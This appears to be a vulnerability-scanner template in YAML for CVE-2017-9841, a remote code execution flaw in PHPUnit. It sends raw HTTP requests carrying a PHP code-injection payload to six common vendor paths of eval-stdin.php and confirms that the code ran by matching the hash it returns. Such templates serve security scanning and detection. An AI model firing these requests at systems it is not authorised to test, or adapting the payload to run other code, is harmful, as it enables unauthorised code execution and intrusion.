78 lines
2.3 KiB
YAML
78 lines
2.3 KiB
YAML
|
id: CVE-2017-9841
|
||
|
|
||
|
info:
|
||
|
name: PHPUnit - Remote Code Execution
|
||
|
author: Random_Robbie,pikpikcu
|
||
|
severity: critical
|
||
|
description: PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP code via HTTP POST data beginning with a "<?php " substring via Util/PHP/eval-stdin.php , as demonstrated by an attack on a site with an exposed /vendor folder, i.e., external access to the /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php URI.
|
||
|
reference:
|
||
|
- https://github.com/cyberharsh/Php-unit-CVE-2017-9841
|
||
|
- https://github.com/RandomRobbieBF/phpunit-brute
|
||
|
- https://thephp.cc/articles/phpunit-a-security-risk
|
||
|
- https://twitter.com/sec715/status/1411517028012158976
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2017-9841
|
||
|
classification:
|
||
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||
|
cvss-score: 9.8
|
||
|
cve-id: CVE-2017-9841
|
||
|
cwe-id: CWE-94
|
||
|
tags: cve,cve2017,php,phpunit,rce,kev
|
||
|
|
||
|
http:
|
||
|
|
||
|
- raw:
|
||
|
- |
|
||
|
GET /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: text/html
|
||
|
|
||
|
<?php echo md5(phpunit_rce);?>
|
||
|
|
||
|
- |
|
||
|
GET /yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: text/html
|
||
|
|
||
|
<?php echo md5(phpunit_rce);?>
|
||
|
|
||
|
- |
|
||
|
GET /laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: text/html
|
||
|
|
||
|
<?php echo md5(phpunit_rce);?>
|
||
|
|
||
|
- |
|
||
|
GET /laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: text/html
|
||
|
|
||
|
<?php echo md5(phpunit_rce);?>
|
||
|
|
||
|
- |
|
||
|
GET /lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: text/html
|
||
|
|
||
|
<?php echo md5(phpunit_rce);?>
|
||
|
|
||
|
- |
|
||
|
GET /zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: text/html
|
||
|
|
||
|
<?php echo md5(phpunit_rce);?>
|
||
|
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
words:
|
||
|
- "6dd70f16549456495373a337e6708865"
|
||
|
part: body
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|
||
|
|
||
|
# Enhanced by mp on 2022/05/12
|